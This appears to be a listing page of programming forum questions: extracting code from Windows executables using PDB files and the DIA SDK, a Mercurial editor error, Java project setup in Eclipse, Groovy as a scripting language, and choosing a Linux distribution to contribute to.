    Hello, I need to extract code (but not data!) from classic win32 exe/dll files. It's clear I can't do this only with extraction of code segment content (because code segment contains also the data -- jump tables for example) and that I need some help from compiler. *.map files are nice but they only contain addresses of functions, i.e. the safest thing I can do is to start at that address and to process until the first return / jump instruction (because part of the function could be mentioned data) *.pdb files are better but I'm not sure what tools to use to extract information like this -- I took a look at DbgHelp and DIA SDK, the latter one seems to be the right tool but it doesn't look very simple. So my question/questions: To your knowledge, it is possible to extract information about code/data position (address + length) only via DbgHelp? If the DIA SDK is the only way, any idea what should I call for getting information like that? (that COM stuff is pretty heavy) Is there any other way? Of course my concern is about Visual Studio, C/C++ source compilation in the first place. Thanks for any hint.

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  • Mercurial Editor: "abort: The system cannot find the file specified"

    - by Killroy
    I have a problem getting Mercurial to recognise my editor. I have a file, c:\windows\notepad.exe and typing "notepad" at the command prompt works. I can commit by using the "-m" argument to supply the commit title. But a simple "hg commit" brings up the error. A call to "hg --traceback commit" brings up: Traceback (most recent call last): File "mercurial\dispatch.pyc", line 47, in _runcatch File "mercurial\dispatch.pyc", line 466, in _dispatch File "mercurial\dispatch.pyc", line 336, in runcommand File "mercurial\dispatch.pyc", line 517, in _runcommand File "mercurial\dispatch.pyc", line 471, in checkargs File "mercurial\dispatch.pyc", line 465, in <lambda> File "mercurial\util.pyc", line 401, in check File "mercurial\commands.pyc", line 708, in commit File "mercurial\cmdutil.pyc", line 1150, in commit File "mercurial\commands.pyc", line 706, in commitfunc File "mercurial\localrepo.pyc", line 836, in commit File "mercurial\cmdutil.pyc", line 1155, in commiteditor File "mercurial\cmdutil.pyc", line 1184, in commitforceeditor File "mercurial\ui.pyc", line 361, in edit File "mercurial\util.pyc", line 383, in system File "subprocess.pyc", line 470, in call File "subprocess.pyc", line 621, in __init__ File "subprocess.pyc", line 830, in _execute_child WindowsError: [Error 2] The system cannot find the file specified abort: The system cannot find the file specified I've tried setting the HGEDITOR environment variable, setting "visual =" and "editor =" in the Mercurial.ini file. I tried full path as well as command only. I also tried copying the notepad.exe file into both the current folder as well as the mercurial folder. Ideally I would like to use the editor at this location "C:\PortableApps\Notepad++Portable\Notepad++Portable.exe", but at this stage I would be happy with any editor!

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  • Java equivalent to VS solution file

    - by Chris
    I'm a C# guy trying to learn Java. I understand the syntax and the basic architecture of the Java platform, and have no problem doing smaller projects myself, but I'd really like to be able to download some open source projects to learn from the work of others. However, I'm running into a stumbling block that I can't seem to find any information on. When I download an open source .NET project, I can open the .sln file with visual studio and everything just loads. Sure, there's occasionally a missing reference or something, but there's really very little configuration required to get things going. I'm not sensing the same ease of use with Java. I'm using eclipse at the moment, and it feels like for every project I have to create a brand new Eclipse project using "create from existing source", and almost nothing compiles properly without significant reconfiguration. In the case of web projects, it's even worse, because Eclipse doesn't appear to support creating a web project from existing source. I have to create a standard Java project from source, then then apparently modify the project file to include the bindings for the web toolkit stuff to work properly. Assuming I want to be able to contribute to a project later on, I shouldn't have to be making such drastic changes to the file structure to get my IDE to a workable state. What am I missing?

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  • Using Groovy as a scripting language...

    - by Zombies
    I prefer to use scripting languages for short tasks, anything such as a really simple http bot, bulk importing/exporting data to/from somewhere, etc etc... Basic throw-away scripts and simple stuff. The point being, that a scripting language is just an efficient tool to write quick programs with. As for my understanding of Groovy at this point... If you were to program in Groovy, and you wan't to write a quick script, wouldn't you be forced to going back to regular java syntax (and we know how that can be convoluted compared to a scripting language) in order to do anything more complicated? For example, if I want to do some http scripting, wouldn't I just be right back at using java syntax to invoke Commons HttpClient? To me, the point of a scripting language is for quickly typed and less forced constructs. And here is another thing, it doesn't seem that there is any incentive for groovy based libraries to be developed when there are already so many good java one's out there, thus making groovy appear to be a Java dependent language with minor scripting features. So right now I am wondering if I could switch to Groovy as a scripting language or continue to use a more common scripting language such as Perl, Python or Ruby.

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  • Contributing to a Linux distribution

    - by Big Al
    I'm interested in contributing to a Linux distro, but regarding the various distro's developer communities, I'm having a bit of trouble figuring out which one I'd most like to join. What languages I know: C, C++, Lua, Python, and fairly familiar with Perl (though I wouldn't say I "know" it). In particular, I have very little experience with x86 assembly besides hacking stuff together for performance tweaks, though that will be partially rectified soon. What I'm looking for: A community that provides plenty of opportunities for developers to work on various aspects of the distribution. To be honest I'm most interested in reading and working on the kernel source (in which case the distro doesn't matter), but it's pretty daunting and I figure getting into the Linux community and working with experienced Linux developers might give me a better idea of how to jump into the guts(let me know if this is bogus, or if you have any advice regarding that). So... Which distro has the "best" developer community in terms of organization, people who are fun to work with, and opportunities to contribute? I've read various "Contributing to XXX" pages and mailing lists for distros like Ubuntu, OpenSuse, Fedora, etc. but I'd rather get a more personal testament from an actual developer.

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